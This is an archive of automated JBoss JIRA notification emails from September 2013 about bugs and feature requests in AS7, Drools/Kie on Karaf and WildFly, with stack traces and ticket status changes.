From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 03:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-3678) Can not determine the local
 host in a multi host domain under /host
In-Reply-To: <JIRA.12458674.1328733236000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12458674.1328733236000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12458674.1328733236000.7684.1378281063561@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-3678?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801418#comment-12801418 ] 

RH Bugzilla Integration commented on AS7-3678:
----------------------------------------------

Heiko W. Rupp <hrupp at redhat.com> made a comment on [bug 734488|https://bugzilla.redhat.com/show_bug.cgi?id=734488]

Bulk closing of some old issues
                
> Can not determine the local host in a multi host domain under /host
> -------------------------------------------------------------------
>
>                 Key: AS7-3678
>                 URL: https://issues.jboss.org/browse/AS7-3678
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Rupp
>            Assignee: Kabir Khan
>             Fix For: 7.1.1.Final
>
>
> [21:28:49] <+pilhuhn> bstansberry (probably stupid) question: how do I see in the management api which host under /host is the local one?  I have no example handy, but remember that in a multi-host domain all hosts are listed in /host
> [21:29:17] ChanServ sets mode +v stuartdouglas
> [21:30:42] <+bstansberry> pilhuhn: not stupid. can you file a JIRA for 7.1.1?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 03:51:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 03:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-3678) Can not determine the local
 host in a multi host domain under /host
In-Reply-To: <JIRA.12458674.1328733236000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12458674.1328733236000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12458674.1328733236000.7689.1378281063759@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-3678?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801419#comment-12801419 ] 

RH Bugzilla Integration commented on AS7-3678:
----------------------------------------------

Heiko W. Rupp <hrupp at redhat.com> changed the Status of [bug 734488|https://bugzilla.redhat.com/show_bug.cgi?id=734488] from ON_QA to CLOSED
                
> Can not determine the local host in a multi host domain under /host
> -------------------------------------------------------------------
>
>                 Key: AS7-3678
>                 URL: https://issues.jboss.org/browse/AS7-3678
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Rupp
>            Assignee: Kabir Khan
>             Fix For: 7.1.1.Final
>
>
> [21:28:49] <+pilhuhn> bstansberry (probably stupid) question: how do I see in the management api which host under /host is the local one?  I have no example handy, but remember that in a multi-host domain all hosts are listed in /host
> [21:29:17] ChanServ sets mode +v stuartdouglas
> [21:30:42] <+bstansberry> pilhuhn: not stupid. can you file a JIRA for 7.1.1?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 04:05:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Wed, 4 Sep 2013 04:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-241) ClassCast exception of
 kie-aries-blueprint when deployed on Karaf
In-Reply-To: <JIRA.12499383.1377535961000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499383.1377535961000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499383.1377535961000.7725.1378281903571@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-241?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco reassigned DROOLS-241:
----------------------------------

    Assignee: Mario Fusco  (was: Mark Proctor)

    
> ClassCast exception of kie-aries-blueprint when deployed on Karaf 
> ------------------------------------------------------------------
>
>                 Key: DROOLS-241
>                 URL: https://issues.jboss.org/browse/DROOLS-241
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>            Reporter: Charles Moulliard
>            Assignee: Mario Fusco
>
> When the following bundles are deployed on Karaf,
> [ 214] [Active     ] [Created     ] [       ] [   80] Kie Aries Blueprint (6.1.0.20130826-1815)
> [ 215] [Active     ] [Failure     ] [       ] [   80] Drools :: OSGI Blueprint Camel Example (6.1.0.20130826-1723)
> [ 220] [Active     ] [            ] [       ] [   80] wrap_mvn_org.apache.aries.blueprint_blueprint-parser_1.1.0-SNAPSHOT (0)
>  we get this exception 
> 2013-08-26 18:48:04,755 | INFO  | xFrameworkWiring | BlueprintExtender                | nt.container.BlueprintExtender$3  282 | 7 - org.apache.aries.blueprint.core - 1.1.0 | Destroying BlueprintContainer for bundle org.drools.blueprint-camel-drools-decision-table-example
> 2013-08-26 18:48:04,809 | ERROR | rint Extender: 3 | BlueprintContainerImpl           | container.BlueprintContainerImpl  393 | 7 - org.apache.aries.blueprint.core - 1.1.0 | Unable to start blueprint container for bundle org.drools.blueprint-camel-drools-decision-table-example
> java.lang.ClassCastException
> 	at java.lang.Class.cast(Class.java:3038)[:1.6.0_51]
> 	at org.apache.aries.blueprint.reflect.MetadataUtil.createMetadata(MetadataUtil.java:154)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.parser.ParserContextImpl.createMetadata(ParserContextImpl.java:65)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.kie.aries.blueprint.KieNamespaceHandler.addKieObjectsProcessor(KieNamespaceHandler.java:111)[214:org.kie.aries.blueprint:6.1.0.20130826-1815]
> 	at org.kie.aries.blueprint.KieNamespaceHandler.parse(KieNamespaceHandler.java:104)[214:org.kie.aries.blueprint:6.1.0.20130826-1815]
> 	at org.apache.aries.blueprint.parser.Parser.parseCustomElement(Parser.java:1279)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.parser.Parser.loadComponents(Parser.java:337)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.parser.Parser.populate(Parser.java:277)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.container.BlueprintContainerImpl.doRun(BlueprintContainerImpl.java:315)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.container.BlueprintContainerImpl.run(BlueprintContainerImpl.java:261)[7:org.apache.aries.blueprint.core:1.1.0]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 04:05:04 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Wed, 4 Sep 2013 04:05:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-241) ClassCast exception of
 kie-aries-blueprint when deployed on Karaf
In-Reply-To: <JIRA.12499383.1377535961000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499383.1377535961000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499383.1377535961000.7729.1378281904238@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-241?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco updated DROOLS-241:
-------------------------------

    Issue Type: Bug  (was: Feature Request)

    
> ClassCast exception of kie-aries-blueprint when deployed on Karaf 
> ------------------------------------------------------------------
>
>                 Key: DROOLS-241
>                 URL: https://issues.jboss.org/browse/DROOLS-241
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Charles Moulliard
>            Assignee: Mario Fusco
>
> When the following bundles are deployed on Karaf,
> [ 214] [Active     ] [Created     ] [       ] [   80] Kie Aries Blueprint (6.1.0.20130826-1815)
> [ 215] [Active     ] [Failure     ] [       ] [   80] Drools :: OSGI Blueprint Camel Example (6.1.0.20130826-1723)
> [ 220] [Active     ] [            ] [       ] [   80] wrap_mvn_org.apache.aries.blueprint_blueprint-parser_1.1.0-SNAPSHOT (0)
>  we get this exception 
> 2013-08-26 18:48:04,755 | INFO  | xFrameworkWiring | BlueprintExtender                | nt.container.BlueprintExtender$3  282 | 7 - org.apache.aries.blueprint.core - 1.1.0 | Destroying BlueprintContainer for bundle org.drools.blueprint-camel-drools-decision-table-example
> 2013-08-26 18:48:04,809 | ERROR | rint Extender: 3 | BlueprintContainerImpl           | container.BlueprintContainerImpl  393 | 7 - org.apache.aries.blueprint.core - 1.1.0 | Unable to start blueprint container for bundle org.drools.blueprint-camel-drools-decision-table-example
> java.lang.ClassCastException
> 	at java.lang.Class.cast(Class.java:3038)[:1.6.0_51]
> 	at org.apache.aries.blueprint.reflect.MetadataUtil.createMetadata(MetadataUtil.java:154)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.parser.ParserContextImpl.createMetadata(ParserContextImpl.java:65)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.kie.aries.blueprint.KieNamespaceHandler.addKieObjectsProcessor(KieNamespaceHandler.java:111)[214:org.kie.aries.blueprint:6.1.0.20130826-1815]
> 	at org.kie.aries.blueprint.KieNamespaceHandler.parse(KieNamespaceHandler.java:104)[214:org.kie.aries.blueprint:6.1.0.20130826-1815]
> 	at org.apache.aries.blueprint.parser.Parser.parseCustomElement(Parser.java:1279)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.parser.Parser.loadComponents(Parser.java:337)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.parser.Parser.populate(Parser.java:277)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.container.BlueprintContainerImpl.doRun(BlueprintContainerImpl.java:315)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.container.BlueprintContainerImpl.run(BlueprintContainerImpl.java:261)[7:org.apache.aries.blueprint.core:1.1.0]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 04:05:04 2013
From: jira-events at lists.jboss.org (Carlo de Wolf (JIRA))
Date: Wed, 4 Sep 2013 04:05:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1995) Allow property substitution
 in EJB Annotations with configurable option
In-Reply-To: <JIRA.12499889.1378281896792@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499889.1378281896792@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499889.1378281896792.7733.1378281904759@jira02.app.mwc.hst.phx2.redhat.com>

Carlo de Wolf created WFLY-1995:
-----------------------------------

             Summary: Allow property substitution in EJB Annotations with configurable option
                 Key: WFLY-1995
                 URL: https://issues.jboss.org/browse/WFLY-1995
             Project: WildFly
          Issue Type: Feature Request
          Components: EJB
            Reporter: Carlo de Wolf
            Assignee: jaikiran pai


Create a configuration option which enables property substitution in EJB annotations.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 04:13:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Wed, 4 Sep 2013 04:13:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-176) NPE is created when a
 kie-spring project is deployed on OSGI - Karaf runtime
In-Reply-To: <JIRA.12494820.1371804198000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494820.1371804198000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494820.1371804198000.7740.1378282383965@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-176?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco updated DROOLS-176:
-------------------------------

    Issue Type: Bug  (was: Feature Request)

    
> NPE is created when a kie-spring project is deployed on OSGI - Karaf runtime
> ----------------------------------------------------------------------------
>
>                 Key: DROOLS-176
>                 URL: https://issues.jboss.org/browse/DROOLS-176
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 6.0.0.Beta3
>            Reporter: Charles Moulliard
>            Assignee: Mark Proctor
>
> Hi,
> When the following drools + camel example is deployed on Apache Karaf :
> https://github.com/droolsjbpm/droolsjbpm-integration/tree/master/drools-osgi/droolsjbpm-osgi-examples/spring-camel-drools-decision-table
>     features:addurl mvn:org.drools/drools-karaf-features/6.0.0-SNAPSHOT/xml/features
>     features:install drools-module
>     features:install drools-decisiontable
>     features:install kie-spring
>     features:install kie-camel
>     features:install drools-camel-example
> Then, the following exception is created :
> {code}
> 2013-06-21 09:42:34,649 | ERROR | ExtenderThread-2 | ClasspathKieProject              | builder.impl.ClasspathKieProject   93 | 80 - org.drools.compiler - 6.0.0.20130621-0836 | Unable to build index of kmodule.xml url=bundle://212.1:1/META-INF/kmodule.xml
> It is necessary to have the drools-osgi-integration module on the path in order to create a KieProject from an ogsi bundle
> 2013-06-21 09:42:34,651 | INFO  | ExtenderThread-2 | DefaultListableBeanFactory       | ort.DefaultSingletonBeanRegistry  422 | 91 - org.springframework.beans - 3.0.7.RELEASE | Destroying singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory at 12b7530: defining beans [droolsHelper,personHelper,ksession-dt-1,AgeVerification,camel-1:beanPostProcessor,camel-1,ksession1,camel-2:beanPostProcessor,camel-2]; root of factory hierarchy
> 2013-06-21 09:42:34,661 | ERROR | ExtenderThread-2 | ContextLoaderListener            | BundleApplicationContextListener   50 | 131 - org.springframework.osgi.extender - 1.2.1 | Application context refresh failed (OsgiBundleXmlApplicationContext(bundle=org.drools.camel-example, config=osgibundle:/META-INF/spring/*.xml))
> org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'ksession-dt-1': Invocation of init method failed; nested exception is java.lang.NullPointerException
> 	at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1422)[91:org.springframework.beans:3.0.7.RELEASE]
> 	at 
> ...
> Caused by: java.lang.NullPointerException
> 	at org.kie.spring.KieObjectsResolver.resolveKSession(KieObjectsResolver.java:69)[125:org.kie.spring:6.0.0.20130620-0250]
> 	at org.kie.spring.factorybeans.KSessionFactoryBean.afterPropertiesSet(KSessionFactoryBean.java:146)[125:org.kie.spring:6.0.0.20130620-0250]
> 	at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods(AbstractAutowireCapableBeanFactory.java:1479)[91:org.springframework.beans:3.0.7.RELEASE]
> 	at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1419)[91:org.springframework.beans:3.0.7.RELEASE]
> 	... 14 more
> {code}
> It seems that we have 2 issues :
> 1) Even if drools-osgi-integration (fragment bundle) is deployed and classes added to the classloader of drools-compiler, the following error is reported :
> 2013-06-21 09:42:34,649 | ERROR | ExtenderThread-2 | ClasspathKieProject              | builder.impl.ClasspathKieProject   93 | 80 - org.drools.compiler - 6.0.0.20130621-0836 | Unable to build index of kmodule.xml url=bundle://212.1:1/META-INF/kmodule.xml
> 2) During the creation of kcontainer, something happens as the Map of GAVs is equal to zero, reason why we get a NPE

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 04:13:04 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Wed, 4 Sep 2013 04:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-176) NPE is created when a
 kie-spring project is deployed on OSGI - Karaf runtime
In-Reply-To: <JIRA.12494820.1371804198000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494820.1371804198000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494820.1371804198000.7743.1378282384177@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-176?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco reassigned DROOLS-176:
----------------------------------

    Assignee: Mario Fusco  (was: Mark Proctor)

    
> NPE is created when a kie-spring project is deployed on OSGI - Karaf runtime
> ----------------------------------------------------------------------------
>
>                 Key: DROOLS-176
>                 URL: https://issues.jboss.org/browse/DROOLS-176
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 6.0.0.Beta3
>            Reporter: Charles Moulliard
>            Assignee: Mario Fusco
>
> Hi,
> When the following drools + camel example is deployed on Apache Karaf :
> https://github.com/droolsjbpm/droolsjbpm-integration/tree/master/drools-osgi/droolsjbpm-osgi-examples/spring-camel-drools-decision-table
>     features:addurl mvn:org.drools/drools-karaf-features/6.0.0-SNAPSHOT/xml/features
>     features:install drools-module
>     features:install drools-decisiontable
>     features:install kie-spring
>     features:install kie-camel
>     features:install drools-camel-example
> Then, the following exception is created :
> {code}
> 2013-06-21 09:42:34,649 | ERROR | ExtenderThread-2 | ClasspathKieProject              | builder.impl.ClasspathKieProject   93 | 80 - org.drools.compiler - 6.0.0.20130621-0836 | Unable to build index of kmodule.xml url=bundle://212.1:1/META-INF/kmodule.xml
> It is necessary to have the drools-osgi-integration module on the path in order to create a KieProject from an ogsi bundle
> 2013-06-21 09:42:34,651 | INFO  | ExtenderThread-2 | DefaultListableBeanFactory       | ort.DefaultSingletonBeanRegistry  422 | 91 - org.springframework.beans - 3.0.7.RELEASE | Destroying singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory at 12b7530: defining beans [droolsHelper,personHelper,ksession-dt-1,AgeVerification,camel-1:beanPostProcessor,camel-1,ksession1,camel-2:beanPostProcessor,camel-2]; root of factory hierarchy
> 2013-06-21 09:42:34,661 | ERROR | ExtenderThread-2 | ContextLoaderListener            | BundleApplicationContextListener   50 | 131 - org.springframework.osgi.extender - 1.2.1 | Application context refresh failed (OsgiBundleXmlApplicationContext(bundle=org.drools.camel-example, config=osgibundle:/META-INF/spring/*.xml))
> org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'ksession-dt-1': Invocation of init method failed; nested exception is java.lang.NullPointerException
> 	at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1422)[91:org.springframework.beans:3.0.7.RELEASE]
> 	at 
> ...
> Caused by: java.lang.NullPointerException
> 	at org.kie.spring.KieObjectsResolver.resolveKSession(KieObjectsResolver.java:69)[125:org.kie.spring:6.0.0.20130620-0250]
> 	at org.kie.spring.factorybeans.KSessionFactoryBean.afterPropertiesSet(KSessionFactoryBean.java:146)[125:org.kie.spring:6.0.0.20130620-0250]
> 	at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods(AbstractAutowireCapableBeanFactory.java:1479)[91:org.springframework.beans:3.0.7.RELEASE]
> 	at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1419)[91:org.springframework.beans:3.0.7.RELEASE]
> 	... 14 more
> {code}
> It seems that we have 2 issues :
> 1) Even if drools-osgi-integration (fragment bundle) is deployed and classes added to the classloader of drools-compiler, the following error is reported :
> 2013-06-21 09:42:34,649 | ERROR | ExtenderThread-2 | ClasspathKieProject              | builder.impl.ClasspathKieProject   93 | 80 - org.drools.compiler - 6.0.0.20130621-0836 | Unable to build index of kmodule.xml url=bundle://212.1:1/META-INF/kmodule.xml
> 2) During the creation of kcontainer, something happens as the Map of GAVs is equal to zero, reason why we get a NPE

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 04:13:04 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Wed, 4 Sep 2013 04:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-176) NPE is created when a
 kie-spring project is deployed on OSGI - Karaf runtime
In-Reply-To: <JIRA.12494820.1371804198000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494820.1371804198000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494820.1371804198000.7747.1378282384505@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-176?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco resolved DROOLS-176.
--------------------------------

    Fix Version/s:  6.0.0.CR3
       Resolution: Done

    
> NPE is created when a kie-spring project is deployed on OSGI - Karaf runtime
> ----------------------------------------------------------------------------
>
>                 Key: DROOLS-176
>                 URL: https://issues.jboss.org/browse/DROOLS-176
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 6.0.0.Beta3
>            Reporter: Charles Moulliard
>            Assignee: Mario Fusco
>             Fix For:  6.0.0.CR3
>
>
> Hi,
> When the following drools + camel example is deployed on Apache Karaf :
> https://github.com/droolsjbpm/droolsjbpm-integration/tree/master/drools-osgi/droolsjbpm-osgi-examples/spring-camel-drools-decision-table
>     features:addurl mvn:org.drools/drools-karaf-features/6.0.0-SNAPSHOT/xml/features
>     features:install drools-module
>     features:install drools-decisiontable
>     features:install kie-spring
>     features:install kie-camel
>     features:install drools-camel-example
> Then, the following exception is created :
> {code}
> 2013-06-21 09:42:34,649 | ERROR | ExtenderThread-2 | ClasspathKieProject              | builder.impl.ClasspathKieProject   93 | 80 - org.drools.compiler - 6.0.0.20130621-0836 | Unable to build index of kmodule.xml url=bundle://212.1:1/META-INF/kmodule.xml
> It is necessary to have the drools-osgi-integration module on the path in order to create a KieProject from an ogsi bundle
> 2013-06-21 09:42:34,651 | INFO  | ExtenderThread-2 | DefaultListableBeanFactory       | ort.DefaultSingletonBeanRegistry  422 | 91 - org.springframework.beans - 3.0.7.RELEASE | Destroying singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory at 12b7530: defining beans [droolsHelper,personHelper,ksession-dt-1,AgeVerification,camel-1:beanPostProcessor,camel-1,ksession1,camel-2:beanPostProcessor,camel-2]; root of factory hierarchy
> 2013-06-21 09:42:34,661 | ERROR | ExtenderThread-2 | ContextLoaderListener            | BundleApplicationContextListener   50 | 131 - org.springframework.osgi.extender - 1.2.1 | Application context refresh failed (OsgiBundleXmlApplicationContext(bundle=org.drools.camel-example, config=osgibundle:/META-INF/spring/*.xml))
> org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'ksession-dt-1': Invocation of init method failed; nested exception is java.lang.NullPointerException
> 	at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1422)[91:org.springframework.beans:3.0.7.RELEASE]
> 	at 
> ...
> Caused by: java.lang.NullPointerException
> 	at org.kie.spring.KieObjectsResolver.resolveKSession(KieObjectsResolver.java:69)[125:org.kie.spring:6.0.0.20130620-0250]
> 	at org.kie.spring.factorybeans.KSessionFactoryBean.afterPropertiesSet(KSessionFactoryBean.java:146)[125:org.kie.spring:6.0.0.20130620-0250]
> 	at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods(AbstractAutowireCapableBeanFactory.java:1479)[91:org.springframework.beans:3.0.7.RELEASE]
> 	at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1419)[91:org.springframework.beans:3.0.7.RELEASE]
> 	... 14 more
> {code}
> It seems that we have 2 issues :
> 1) Even if drools-osgi-integration (fragment bundle) is deployed and classes added to the classloader of drools-compiler, the following error is reported :
> 2013-06-21 09:42:34,649 | ERROR | ExtenderThread-2 | ClasspathKieProject              | builder.impl.ClasspathKieProject   93 | 80 - org.drools.compiler - 6.0.0.20130621-0836 | Unable to build index of kmodule.xml url=bundle://212.1:1/META-INF/kmodule.xml
> 2) During the creation of kcontainer, something happens as the Map of GAVs is equal to zero, reason why we get a NPE

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 04:15:04 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Wed, 4 Sep 2013 04:15:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-241) ClassCast exception of
 kie-aries-blueprint when deployed on Karaf
In-Reply-To: <JIRA.12499383.1377535961000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499383.1377535961000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499383.1377535961000.7750.1378282504539@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-241?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco resolved DROOLS-241.
--------------------------------

    Fix Version/s:  6.0.0.CR4
       Resolution: Done

    
> ClassCast exception of kie-aries-blueprint when deployed on Karaf 
> ------------------------------------------------------------------
>
>                 Key: DROOLS-241
>                 URL: https://issues.jboss.org/browse/DROOLS-241
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Charles Moulliard
>            Assignee: Mario Fusco
>             Fix For:  6.0.0.CR4
>
>
> When the following bundles are deployed on Karaf,
> [ 214] [Active     ] [Created     ] [       ] [   80] Kie Aries Blueprint (6.1.0.20130826-1815)
> [ 215] [Active     ] [Failure     ] [       ] [   80] Drools :: OSGI Blueprint Camel Example (6.1.0.20130826-1723)
> [ 220] [Active     ] [            ] [       ] [   80] wrap_mvn_org.apache.aries.blueprint_blueprint-parser_1.1.0-SNAPSHOT (0)
>  we get this exception 
> 2013-08-26 18:48:04,755 | INFO  | xFrameworkWiring | BlueprintExtender                | nt.container.BlueprintExtender$3  282 | 7 - org.apache.aries.blueprint.core - 1.1.0 | Destroying BlueprintContainer for bundle org.drools.blueprint-camel-drools-decision-table-example
> 2013-08-26 18:48:04,809 | ERROR | rint Extender: 3 | BlueprintContainerImpl           | container.BlueprintContainerImpl  393 | 7 - org.apache.aries.blueprint.core - 1.1.0 | Unable to start blueprint container for bundle org.drools.blueprint-camel-drools-decision-table-example
> java.lang.ClassCastException
> 	at java.lang.Class.cast(Class.java:3038)[:1.6.0_51]
> 	at org.apache.aries.blueprint.reflect.MetadataUtil.createMetadata(MetadataUtil.java:154)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.parser.ParserContextImpl.createMetadata(ParserContextImpl.java:65)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.kie.aries.blueprint.KieNamespaceHandler.addKieObjectsProcessor(KieNamespaceHandler.java:111)[214:org.kie.aries.blueprint:6.1.0.20130826-1815]
> 	at org.kie.aries.blueprint.KieNamespaceHandler.parse(KieNamespaceHandler.java:104)[214:org.kie.aries.blueprint:6.1.0.20130826-1815]
> 	at org.apache.aries.blueprint.parser.Parser.parseCustomElement(Parser.java:1279)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.parser.Parser.loadComponents(Parser.java:337)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.parser.Parser.populate(Parser.java:277)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.container.BlueprintContainerImpl.doRun(BlueprintContainerImpl.java:315)[7:org.apache.aries.blueprint.core:1.1.0]
> 	at org.apache.aries.blueprint.container.BlueprintContainerImpl.run(BlueprintContainerImpl.java:261)[7:org.apache.aries.blueprint.core:1.1.0]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 04:19:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 04:19:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-21) NullPointerException when
 removing messages from non-existing queue
In-Reply-To: <JIRA.12489104.1365684721000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489104.1365684721000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489104.1365684721000.7753.1378282744018@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-21?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801427#comment-12801427 ] 

RH Bugzilla Integration commented on WFLY-21:
---------------------------------------------

Carlo de Wolf <cdewolf at redhat.com> changed the Status of [bug 928795|https://bugzilla.redhat.com/show_bug.cgi?id=928795] from NEW to POST
                
>  NullPointerException when removing messages from non-existing queue
> --------------------------------------------------------------------
>
>                 Key: WFLY-21
>                 URL: https://issues.jboss.org/browse/WFLY-21
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> {noformat}
> java.lang.NullPointerException
